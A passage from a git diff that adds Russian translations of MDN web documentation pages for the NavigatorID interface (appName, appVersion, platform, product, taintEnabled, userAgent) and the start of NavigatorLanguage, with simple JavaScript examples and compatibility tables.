+<p>Свойство <strong><code>NavigatorID.appName </code></strong>возвращает название браузера. HTML5 спецификация также позволяет любому браузеру вернуть <code>Netscape</code>", по причине совместимости.</p>
+
+<p><strong>Примечание:</strong> не полагайтесь на это свойство для получения коректного имени браузера.<span id="result_box" lang="ru"><span class="hps">В большинстве браузеров</span> <span class="atn hps">(</span><span>Firefox</span><span>, как</span><span>, Chrome</span><span>, Safari</span><span>, Opera</span> <span class="hps">и</span> <span class="hps">Internet Explorer</span><span>)</span> <span class="hps">возвращаемой строкой будет</span> <span class="atn hps">"</span><span>Netscape</span><span>"</span><span>.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>appName</var> = window.navigator.appName
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p><code>appName</code> это имя браузера в виде строки.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">alert(window.navigator.appName);
+// показывает имя браузера.
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-navigator-appName', 'NavigatorID.appName')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное описание</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузере">Доступность в браузере</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("NavigatorID.appCodeName")}}</li>
+</ul>
diff --git a/files/ru/web/api/navigatorid/appversion/index.html b/files/ru/web/api/navigatorid/appversion/index.html
new file mode 100644
index 0000000000..676e3cf881
--- /dev/null
+++ b/files/ru/web/api/navigatorid/appversion/index.html
@@ -0,0 +1,103 @@
+---
+title: NavigatorID.appVersion
+slug: Web/API/NavigatorID/appVersion
+translation_of: Web/API/NavigatorID/appVersion
+---
+<p>{{APIRef("HTML DOM")}}{{deprecated_header}}</p>
+
+<p><span id="result_box" lang="ru"><span class="hps">Возвращает версию</span> <span class="hps">браузера</span> <span class="hps">в виде <code>строки</code></span><span>.</span> <span class="hps">Это может быть либо</span> <span class="hps">обычный</span> <span class="hps">номер версии</span><span>,</span> <span class="atn hps">например, "</span><span>5.0"</span> <span class="hps">или</span> <span class="hps">номер версии</span> <span class="hps">с </span><span class="hps">более детальной информацией</span><span>.</span></span> <span id="result_box" lang="ru"><span>Спецификация HTML5</span> <span class="hps">позволяет любому</span> <span class="hps">браузеру</span> <span class="hps">вернуть</span> <span class="atn hps">"</span><span>4,0</span><span>"</span><span>,</span> <span class="hps">по причине</span> <code><span class="hps">совместимости.</span></code></span></p>
+
+<div class="note"><span id="result_box" lang="ru"><strong><span class="hps">Примечание</span></strong><span>:</span> <span class="hps">Не полагайтесь</span> <span class="hps">на это свойство для </span>получения <span class="hps">правильной версии</span> <span class="hps">браузера. </span></span>В браузерах на основе Geko (таких как Firefox), и основанных на WebKit (таких как Chrome и Safari) возвращаемое значение начинается с "5.0" с последующей информацией о платформе. <span id="result_box" lang="ru"><span class="hps">В Opera</span> <span class="hps">10 и/или</span> <span class="hps">более новой</span> <span class="hps">версии</span>, <span class="hps">возвращаемое значение</span> <span class="hps">не соответствует</span> <span class="hps">актуальной версии</span> <span class="hps">браузера</span><span>.</span></span></div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">window.navigator.appVersion
+</pre>
+
+<h3 id="Returned_value" name="Returned_value">Значение</h3>
+
+<p><code>ver</code> номер версии браузера в виде {{domxref("DOMString")}}.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">alert("Your browser version is reported as " + navigator.appVersion);
+</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p><code>Свойство window.navigator.userAgent</code> может содержать номер версии (например  "<code>Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape 6/6.1</code>"), но вы должны быть в курсе того как легко изменить строку пользовательского агента (user agent) и "обмануть" другие браузеры, платформы или пользовательские агенты, а также опрометчивых вендоров браузеров самими этими свойствами.</p>
+
+<p>Свойства <code>window.navigator.appVersion</code>, <code>window.navigator.appName</code> и <code>window.navigator.userAgent</code> используются для "снифинга браузера" кодом. Т.е. скрипты <span id="result_box" lang="ru"><span>которые пытаются</span> <span class="hps">выяснить,</span> <span class="hps">какой браузер</span> <span class="hps">вы используете, и</span> <span class="hps">настроить</span> <span class="hps">страницы</span> <span class="hps">соответственно</span><span>.Это приводит к ситуации, когда браузерам приходится возвращать поддельное значение</span></span> этого свойства, что бы не быть заблокированными некоторыми веб-сайтами.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-navigator-appVersion', 'NavigatorID.appVersion')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузере">Доступность в браузере</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/ru/web/api/navigatorid/index.html b/files/ru/web/api/navigatorid/index.html
new file mode 100644
index 0000000000..4366e145b4
--- /dev/null
+++ b/files/ru/web/api/navigatorid/index.html
@@ -0,0 +1,78 @@
+---
+title: NavigatorID
+slug: Web/API/NavigatorID
+translation_of: Web/API/NavigatorID
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>Интерфейс <code><strong>NavigatorID </strong></code>содержит методы и свойства, позволяющие идентифицировать браузер.</p>
+
+<p>В нем нет объекта типа <code>NavigatorID</code>, но другие интерфейсы, такие как {{domxref("Navigator")}} или {{domxref("WorkerNavigator")}}, реализуют его.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфей <code>NavigatorID</code></em><em> не наследует никаких других свойств.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorID.appCodeName")}} {{readonlyInline}}{{deprecated_inline}}</dt>
+ <dd>Всегда возвращает <code>'Mozilla'</code>, в других браузерах.<code> </code><span id="result_box" lang="ru"><span class="hps">Это свойство</span> <span class="hps">сохраняется</span> <span class="hps">только для</span> <span class="hps">целей</span> <span class="hps">совместимости.</span></span></dd>
+ <dt>{{domxref("NavigatorID.appName")}} {{readonlyInline}} {{deprecated_inline}}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Возвращает</span> <span class="hps">официальное название</span> <span class="hps">браузера</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Не полагайтесь</span> <span class="hps">на это свойство</span><span>, чтобы получить</span> <span class="hps">нужное значение.</span></span></dd>
+ <dt>{{domxref("NavigatorID.appVersion")}} {{readonlyInline}} {{deprecated_inline}}</dt>
+ <dd>Возвращает версию браузера в виде строки. <span id="result_box" lang="ru"><span class="hps">Не полагайтесь</span> <span class="hps">на это свойство</span><span>, чтобы получить</span> <span class="hps">нужное значение.</span></span></dd>
+ <dt>{{domxref("NavigatorID.platform")}} {{readonlyInline}} {{deprecated_inline}}</dt>
+ <dd>
+ <div id="gt-src-tools">
+ <div><span id="result_box" lang="ru"><span class="hps">Возвращает</span> <span class="hps">строку, представляющую</span> собой <span class="hps">платформу</span> <span class="hps">браузера</span><span>.</span></span><span id="result_box" lang="ru"><span class="hps"> Не полагайтесь</span> <span class="hps">на это свойство</span><span>, чтобы получить</span> <span class="hps">нужное значение.</span></span></div>
+ </div>
+ </dd>
+ <dt>{{domxref("NavigatorID.product")}} {{readonlyInline}} {{deprecated_inline}}</dt>
+ <dd>Всегда возвращает <code>'Gecko'</code> в других браузерах.<span id="result_box" lang="ru"><span class="hps"> Это свойство</span> <span class="hps">сохраняется</span> <span class="hps">только для</span> <span class="hps">целей</span> <span class="hps">совместимости.</span></span></dd>
+ <dt>{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}</dt>
+ <dd>Возвращает строку пользовательского агента (user agent) для текущего браузера.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Интерфейс </em><em><code>NavigatorID</code></em><em> не наследует других методов.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline()}}</dt>
+ <dd>Всегда возвращает <code>false</code>. Функции JavaScript taint/untaint были удалены в JavaScript 1.2. <span class="short_text" id="result_box" lang="ru"><span class="hps">Этот метод</span> <span class="hps">сохраняется только</span> <span class="hps">для</span> <span class="hps">целей</span> <span class="hps">совместимости</span></span>. Not available in workers.</dd>
+</dl>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#navigatorid', 'NavigatorID')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td><code>Добавлено свойство appCodeName</code> и метод <code>taintEnabled()</code> для совместимости.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#navigatorid', 'NavigatorID')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Первоначальная спецификация.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_в_браузерах">Совместимость в браузерах</h2>
+
+
+
+<p>{{Compat("api.NavigatorID")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Реализован в интерфейсах: {{domxref("Navigator")}} и {{domxref("WorkerNavigator")}}.</li>
+</ul>
diff --git a/files/ru/web/api/navigatorid/platform/index.html b/files/ru/web/api/navigatorid/platform/index.html
new file mode 100644
index 0000000000..27636a7722
--- /dev/null
+++ b/files/ru/web/api/navigatorid/platform/index.html
@@ -0,0 +1,61 @@
+---
+title: NavigatorID.platform
+slug: Web/API/NavigatorID/platform
+tags:
+  - API
+  - Navigator
+  - NavigatorID
+  - Property
+  - Refe
+  - platform
+translation_of: Web/API/NavigatorID/platform
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p>Возвращает строку, показывающую платформу браузера. <span id="result_box" lang="ru"><span>Спецификация позволяет</span> <span class="hps">браузерам</span> <span class="hps">всегда возвращает</span> <span class="hps">пустую строку</span><span>,</span> <span class="hps">так что не стоит</span> <span class="hps">полагаться</span> <span class="hps">на это свойство</span><span>, чтобы получить</span> <span class="hps">надежный ответ</span><span>.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>platform</em> = <em>navigator</em>.platform
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("DOMString")}}, идентифицирующий платформу, на которой работает браузер, или выводит пустую строку, если браузер отказывается (или не может) идентифицировать платформу. <code>platform</code> - это строка, которая должна быть пустой строкой или строкой, представляющей платформу, на которой выполняется браузер.</p>
+
+<p><span style="font-size: 14px; line-height: 1.5;">Например: "<code>MacIntel</code>", "<code>Win32</code>", "<code>FreeBSD i386</code>", "<code>WebTV OS</code>"</span></p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre><code>console.log(navigator.platform);</code></pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p>Большинство браузеров, включая Chrome, Edge и Firefox 63 и более поздние, возвращают «Win32», даже если работают в 64-разрядной версии Windows. Internet Explorer и версии Firefox до версии 63 по-прежнему сообщают «Win64».</p>
+
+<p>В Firefox, <code>general.platform.override</code> можно использовать для переопределения значения, которое в противном случае было бы возвращено этим свойством.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-navigator-platform', 'NavigatorID.platform')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Текущее описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузере">Доступность в браузере</h2>
+
+<p>{{Compat("api.NavigatorID.platform")}}</p>
+
+<div id="compat-desktop"> </div>
diff --git a/files/ru/web/api/navigatorid/product/index.html b/files/ru/web/api/navigatorid/product/index.html
new file mode 100644
index 0000000000..8abf33f7b1
--- /dev/null
+++ b/files/ru/web/api/navigatorid/product/index.html
@@ -0,0 +1,133 @@
+---
+title: NavigatorID.product
+slug: Web/API/NavigatorID/product
+translation_of: Web/API/NavigatorID/product
+---
+<p>{{APIRef("HTML DOM")}}{{deprecated_header}}</p>
+
+<p>Свойство <strong><code>NavigatorID.product </code></strong>возвращает имя продукта текущего браузера.</p>
+
+<div class="note"><strong>Примечание:</strong> Не полагайтесь на это свойство для получения настоящего имени продукта. Все браузеры возвращаеют "Gecko" в качестве значения этого свойства.</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>productName</em> = window.navigator.product
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("DOMString")}}.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: html">&lt;script&gt;
+function prod() {
+  dt = document.getElementById("d");
+  dt.innerHTML = window.navigator.product;
+}
+&lt;/script&gt;
+
+&lt;button onclick="prod();"&gt;product&lt;/button&gt;
+&lt;div id="d"&gt; &lt;/div&gt;
+&lt;!-- вернет "Gecko" --&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p>В браузерах на основе Gecko  <code>product</code> соостветствует части полной строки агента пользователя которая идет первой после платформы. В пользовательском агенте Netscape 6.1, к примеру, <code>product</code> это "Gecko" а полная строка пользовательского агента будет: <code>Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1</code></p>
+
+<p>В браузере на основе WebKit <code>product </code>вернет "<code>Gecko</code>", хотя часть полной строки пользовательского агента непосредственно после после платформы на самом деле следующая: <code>(KHTML, like Gecko)</code>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-navigator-product', 'NavigatorID.product')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Действующее описание</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузере">Доступность в браузере</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Для Web Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(28)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td> Для Web Workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(28)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("NavigatorID.appCodeName")}}</li>
+</ul>
diff --git a/files/ru/web/api/navigatorid/taintenabled/index.html b/files/ru/web/api/navigatorid/taintenabled/index.html
new file mode 100644
index 0000000000..1d7b8a1698
--- /dev/null
+++ b/files/ru/web/api/navigatorid/taintenabled/index.html
@@ -0,0 +1,52 @@
+---
+title: NavigatorID.taintEnabled()
+slug: Web/API/NavigatorID/taintEnabled
+translation_of: Web/API/NavigatorID/taintEnabled
+---
+<div>{{APIRef("HTML DOM")}}{{deprecated_header}}</div>
+
+<p>Метод<code><strong> </strong></code><strong><code>NavigatorID.taintEnabled()</code></strong> всегда возвращает <code>false</code>.</p>
+
+<div class="note"><span id="result_box" lang="ru"><strong><span class="hps">Примечание</span><span>:</span></strong> </span>Taint <span lang="ru"><span class="hps">был</span> <span class="hps">метод защиты</span> <span class="hps">используемый в</span> <span class="hps">JavaScript 1.2</span><span>.</span> <span class="hps">Он давно</span> <span class="hps">был удален</span><span>;</span> <span class="hps">этот метод</span> <span class="hps">остается</span> <span class="hps">только</span> <span class="hps">для поддержания</span> <span class="hps">совместимости</span> <span class="hps">с очень</span> <span class="hps">старыми скриптами</span><span>.</span></span></div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em><var>result</var></em> = window.navigator.taintEnabled()
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">alert(window.navigator.taintEnabled());
+// returns false
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#dom-navigator-taintEnabled', 'NavigatorID.taintEnabled')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное описание</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузере">Доступность в браузере</h2>
+
+
+
+<p>{{Compat("api.NavigatorID.taintEnabled")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("NavigatorID")}}</li>
+</ul>
diff --git a/files/ru/web/api/navigatorid/useragent/index.html b/files/ru/web/api/navigatorid/useragent/index.html
new file mode 100644
index 0000000000..57654d7e50
--- /dev/null
+++ b/files/ru/web/api/navigatorid/useragent/index.html
@@ -0,0 +1,124 @@
+---
+title: NavigatorID.userAgent
+slug: Web/API/NavigatorID/userAgent
+translation_of: Web/API/NavigatorID/userAgent
+---
+<p>{{ApiRef("HTML DOM")}}</p>
+
+<p>Возвращает строку агента пользователя текущего браузера.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>ua</var> = window.navigator.userAgent;
+</pre>
+
+<h3 id="Value" name="Value">Значение</h3>
+
+<p><span id="result_box" lang="ru"><code><span class="hps">ua</span></code> <span class="hps">хранит</span> <span class="hps">строковое значение</span> <span class="hps">агента пользователя</span> <span class="hps">для текущего</span> <span class="hps">браузера</span><span>.</span></span></p>
+
+<p>Свойство window.navigator.userAgent для чтения и записи; оно не имеет значения по умолчанию.</p>
+
+<p>Строка пользовательского агента основана на формальной структуре, которая может быть разложена на несколько кусков информации. Каждый из этих кусков информации происходит от других свойств navigator, которые также устанавливаются пользователем. Браузеры, основанные на Gecko, подчиняются следующей структуре:</p>
+
+<pre>userAgent = appCodeName/appVersion number (Platform; Security; OS-or-CPU;
+Localization; rv: revision-version-number) product/productSub
+Application-Name Application-Name-version
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">alert(window.navigator.userAgent)
+// alerts "Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1"
+</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p><span id="result_box" lang="ru"><span class="hps">Идентификация</span> <span class="hps">браузера</span> <span class="hps">на основе</span> <span class="hps">обнаружения</span> <span class="hps">строки агента пользователя</span> <span class="hps">является <strong>ненадежной</strong></span> <span class="hps">и <strong>не</strong></span><strong> </strong><span class="hps"><strong><strong>рекомендуется</strong>,</strong> так как строка</span> <span class="hps">пользователь</span><span class="hps">ского агента</span> <span class="hps">может быть изменена пользователем</span><span>.</span></span> Например:</p>
+
+<ul>
+ <li>В Firefox, вы можете изменить предпочтение {{pref("general.useragent.override")}} в <code>about:config</code>. Некоторые расширения делают это; Однако это изменяет только отправляемый заголовок HTTP, и не влияет на обнаружение браузера выполняемым кодом JavaScript.</li>
+ <li>Opera 6+ позволяет пользователю установить идентификационную строку с помощью меню.</li>
+ <li>Microsoft Internet Explorer использует реестр Windows.</li>
+ <li>Safari и iCab позволяет пользователю изменить строку пользовательского агента заранее на Internet Explorer или Netscape с помощью меню.</li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-navigator-useragent', 'NavigatorID.userAgent')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Начальное описание</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузере">Доступность в браузере</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Gecko_user_agent_string_reference">Справка по строкам User Agent в Firefox</a></li>
+ <li><a href="/en-US/docs/Using_Web_Standards_in_your_Web_Pages/Developing_cross-browser_and_cross-platform_pages" title="Using_Web_Standards_in_your_Web_Pages/Developing_cross-browser_and_cross-platform_pages">Идентификация браузера (сниффинг браузера) — не лучший и не надёжный способ</a></li>
+ <li><a href="/en-US/docs/Browser_Detection_and_Cross_Browser_Support#Limit_the_use_of_User_Agent_String_based_Detection" title="Browser_Detection_and_Cross_Browser_Support#Limit_the_use_of_User_Agent_String_based_Detection">Ограничивайте распознавания по строке User Agent</a></li>
+ <li><a href="/en-US/docs/Browser_Detection_and_Cross_Browser_Support#Use_feature_oriented_object_detection" title="Browser_Detection_and_Cross_Browser_Support#Use_feature_oriented_object_detection">Использование особенностей объектов обнаружения</a></li>
+ <li><a href="http://www.gtalbot.org/DHTMLSection/ListAllAttributesAndMethodsOfObjects.html">Интерактивное крос-браузерное демо по свойствам навигатора</a></li>
+</ul>
diff --git a/files/ru/web/api/navigatorlanguage/index.html b/files/ru/web/api/navigatorlanguage/index.html
new file mode 100644
index 0000000000..0a5a5340e6
--- /dev/null
+++ b/files/ru/web/api/navigatorlanguage/index.html
@@ -0,0 +1,141 @@
+---
+title: NavigatorLanguage
+slug: Web/API/NavigatorLanguage
+translation_of: Web/API/NavigatorLanguage
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><span id="result_box" lang="ru"><strong><code><span class="hps">NavigatorLanguage</span></code></strong> <span class="hps">содержит методы и</span> <span class="hps">свойства, связанные</span> <span class="hps">с языком</span> <span class="hps">навигатора</span><span>.</span></span></p>
+
+<p>В нем нет объекта типа <code>NavigatorLanguage</code>, но другие интерфейсы, такие как {{domxref("Navigator")}} или {{domxref("WorkerNavigator")}}, реализуют его.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс<code> NavigatorLanguage</code></em><em> не наследует других свойств.</em></p>
+
+<dl>
+ <dt>{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}} представлящий собой предпочитаемый язык пользователя, как правило, язык пользовательского интерфейса браузера.</dd>
+ <dt>{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}</dt>
+ <dd>Возвращает массив {{domxref("DOMString")}} представляющий собой языки известные пользователю в порядке предпочтения.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Интерфейс </em><em><code>NavigatorLanguage</code></em><em> ничего не реализовывает и ничего не наследует.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#navigatorlanguage', 'NavigatorLanguage')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Со времени последнего снимка {{SpecName('HTML5 W3C')}}, языковое свойство было добавлено.</td>
+  </tr>
+  <tr>
